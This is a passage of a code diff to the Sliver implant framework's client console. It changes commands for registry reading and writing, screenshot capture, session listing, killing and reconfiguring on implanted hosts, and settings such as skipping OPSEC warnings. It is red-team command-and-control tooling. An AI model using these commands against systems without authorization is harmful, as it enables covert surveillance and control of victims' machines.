"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegListSubKeysCmd - List sub registry keys
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
regPath := ctx.Args.String("registry-path")
path := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveTarget.Request(ctx),
Path: path,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Async {
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintListSubKeys(regList, hive, regPath, con)
})
con.PrintAsyncResponse(regList.Response)
} else {
PrintListSubKeys(regList, hive, regPath, con)
}
}
// PrintListSubKeys - Print the list sub keys command result
func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) {
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("%s\n", regList.Response.Err)
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if 0 < len(regList.Subkeys) {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, regPath)
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
// RegListValuesCmd - List registry values
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -99,35 +56,19 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Async {
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regList)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintListValues(regList, hive, regPath, con)
})
con.PrintAsyncResponse(regList.Response)
} else {
PrintListValues(regList, hive, regPath, con)
}
}
// PrintListValues - Print the registry list values
func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) {
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("%s\n", regList.Response.Err)
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if 0 < len(regList.ValueNames) {
if len(regList.ValueNames) > 0 {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
+6 -26
View File
@@ -24,10 +24,8 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
var validHives = []string{
@@ -78,13 +76,12 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
@@ -115,36 +112,19 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if regRead.Response != nil && regRead.Response.Async {
con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regRead)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRegRead(regRead, con)
})
con.PrintAsyncResponse(regRead.Response)
} else {
PrintRegRead(regRead, con)
}
}
// PrintRegRead - Print the results of the registry read command
func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) {
if regRead.Response != nil && regRead.Response.Err != "" {
con.PrintErrorf("%s\n", regRead.Response.Err)
return
+6 -26
View File
@@ -26,21 +26,18 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
if session.OS != "windows" {
con.PrintErrorf("Error: command not supported on this operating system.")
return
}
@@ -126,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
@@ -137,28 +134,11 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
QWordValue: qwordValue,
ByteValue: binaryValue,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if regWrite.Response != nil && regWrite.Response.Async {
con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, regWrite)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRegWrite(regWrite, con)
})
con.PrintAsyncResponse(regWrite.Response)
} else {
PrintRegWrite(regWrite, con)
}
}
// PrintRegWrite - Print the registry write operation
func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) {
if regWrite.Response != nil && regWrite.Response.Err != "" {
con.PrintErrorf("%s", regWrite.Response.Err)
return
+14 -71
View File
@@ -22,89 +22,52 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"path"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" && targetOS != "linux" {
con.PrintWarnf("Target platform may not support screenshots!\n")
if session.OS != "windows" && session.OS != "linux" {
con.PrintErrorf("Not implemented for %s\n", session.OS)
return
}
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, screenshot)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
// PrintScreenshot - Handle the screenshot command response
func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
timestamp := time.Now().Format("20060102150405")
saveTo := ctx.Flags.String("save")
var saveToFile *os.File
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
}
tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp))
tmpFile, err := ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
defer saveToFile.Close()
var n int
n, err = saveToFile.Write(screenshot.Data)
err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600)
if err != nil {
con.PrintErrorf("Error writting file: %s\n", err)
return
}
con.Printf(console.Bold+"Screenshot written to %s\n", tmpFile.Name())
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
@@ -112,23 +75,3 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
panic("no session or beacon")
}
+1 -1
View File
@@ -7,6 +7,6 @@ import (
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
con.ActiveSession.Background()
con.PrintInfof("Background ...\n")
}
-88
View File
@@ -1,88 +0,0 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// InteractiveCmd - Beacon only command to open an interactive session
func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
delay, err := time.ParseDuration(ctx.Flags.String("delay"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c2s := []*clientpb.ImplantC2{}
mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
c2s = append(c2s, wgC2...)
httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
}
openSession := &sliverpb.OpenSession{
Request: con.ActiveTarget.Request(ctx),
C2S: []string{},
Delay: int64(delay),
}
for _, c2 := range c2s {
openSession.C2S = append(openSession.C2S, c2.URL)
}
openSession, err = con.Rpc.OpenSession(context.Background(), openSession)
if err != nil {
con.PrintErrorf("%s\n", err)
}
if openSession.Response != nil && openSession.Response.Async {
con.PrintAsyncResponse(openSession.Response)
} else {
con.PrintErrorf("rpc response missing!\n")
}
}
+50
View File
@@ -0,0 +1,50 @@
package sessions
import (
"context"
"errors"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
}
// Confirm with the user, just in case they confused kill with terminate
confirm := false
prompt := &survey.Confirm{Message: "Kill the active session?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
err := killSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveSession.Background()
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Request: &commonpb.Request{
SessionID: session.ID,
},
Force: force,
})
return err
}
+1 -20
View File
@@ -1,27 +1,8 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
@@ -41,7 +22,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session #%d ...", session.ID)
err = kill.KillSession(session, true, con)
err = killSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
+5 -7
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -31,7 +30,7 @@ import (
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -52,12 +51,11 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
SessionID: con.ActiveSession.Session.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
ReconnectInterval: int32(reconnect),
PollInterval: int32(poll),
})
if err != nil {
@@ -65,5 +63,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
con.ActiveTarget.Set(session, nil)
con.ActiveSession.Set(session)
}
+86 -50
View File
@@ -19,24 +19,25 @@ package sessions
*/
import (
"bytes"
"context"
"fmt"
"time"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SessionsCmd - Display/interact with sessions
func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
interact := ctx.Flags.String("interact")
killFlag := ctx.Flags.String("kill")
kill := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
clean := ctx.Flags.Bool("clean")
@@ -47,9 +48,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killAll {
con.ActiveTarget.Background()
con.ActiveSession.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, true, con)
err := killSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -60,10 +61,10 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if clean {
con.ActiveTarget.Background()
con.ActiveSession.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, true, con)
err := killSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -73,13 +74,13 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
return
}
if killFlag != "" {
session := con.GetSession(killFlag)
activeSession := con.ActiveTarget.GetSession()
if kill != "" {
session := con.GetSession(kill)
activeSession := con.ActiveSession.Get()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
con.ActiveSession.Background()
}
err := kill.KillSession(session, true, con)
err := killSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -89,7 +90,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if interact != "" {
session := con.GetSession(interact)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -100,34 +101,55 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, con)
printSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
}
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
/*
So this method is a little more complex than you'd maybe think,
this is because Go's tabwriter aligns columns by counting bytes
and since we want to modify the color of the active sliver row
the number of bytes per row won't line up. So we render the table
into a buffer and note which row the active sliver is in. Then we
write each line to the term and insert the ANSI codes just before
we display the row.
*/
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Transport")),
strings.Repeat("=", len("Remote Address")),
strings.Repeat("=", len("Hostname")),
strings.Repeat("=", len("Username")),
strings.Repeat("=", len("Operating System")),
strings.Repeat("=", len("Last Check-in")),
strings.Repeat("=", len("Health")),
)
// strings.Repeat("=", len("Burned")))
// Sort the keys because maps have a randomized order
var keys []int
for _, session := range sessions {
color := console.Normal
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
color = console.Green
keys = append(keys, int(session.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
activeIndex := -1
for index, key := range keys {
session := sessions[uint32(key)]
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
}
var SessionHealth string
if session.IsDead {
SessionHealth = console.Bold + console.Red + "[DEAD]" + console.Normal
@@ -138,21 +160,35 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
con.Printf("%s\n", tw.Render())
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.Transport,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
session.LastCheckin,
SessionHealth,
burned,
)
}
table.Flush()
if activeIndex != -1 {
lines := strings.Split(outputBuf.String(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
}
if lineNumber == activeIndex {
con.Printf("%s%s%s\n", console.Green, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
}
} else {
con.Printf(outputBuf.String())
}
}
+39
View File
@@ -0,0 +1,39 @@
package sessions
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionArg := ctx.Args.String("session")
if sessionArg != "" {
session := con.GetSession(sessionArg)
if session == nil {
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
} else {
activate(session, con)
}
} else {
session, err := SelectSession(false, con)
if session != nil {
activate(session, con)
} else if err != nil {
switch err {
case ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
}
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
}
-4
View File
@@ -1,4 +0,0 @@
Style
======
Defines terminal interface styles.
-39
View File
@@ -1,39 +0,0 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsBeaconsAutoResultCmd - The client settings command
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
}
-62
View File
@@ -1,62 +0,0 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsAutoAdultCmd - The client settings command
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AutoAdult = !con.Settings.AutoAdult
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
}
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
if GetAutoAdult(con) {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
// GetAutoAdult - Get the current auto adult setting
func GetAutoAdult(con *console.SliverConsoleClient) bool {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
return con.Settings.AutoAdult
}
return false
}
-97
View File
@@ -1,97 +0,0 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SettingsCmd - The client settings command
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
con.Printf("%s\n", tw.Render())
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
options := []string{}
for option := range tableStyles {
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
}
if _, ok := tableStyles[style]; ok {
con.Settings.TableStyle = style
} else {
con.PrintErrorf("Invalid style\n")
}
}
// SettingsSaveCmd - The client settings command
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
err = assets.SaveSettings(con.Settings)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Settings saved to disk\n")
}
}
-234
View File
@@ -1,234 +0,0 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
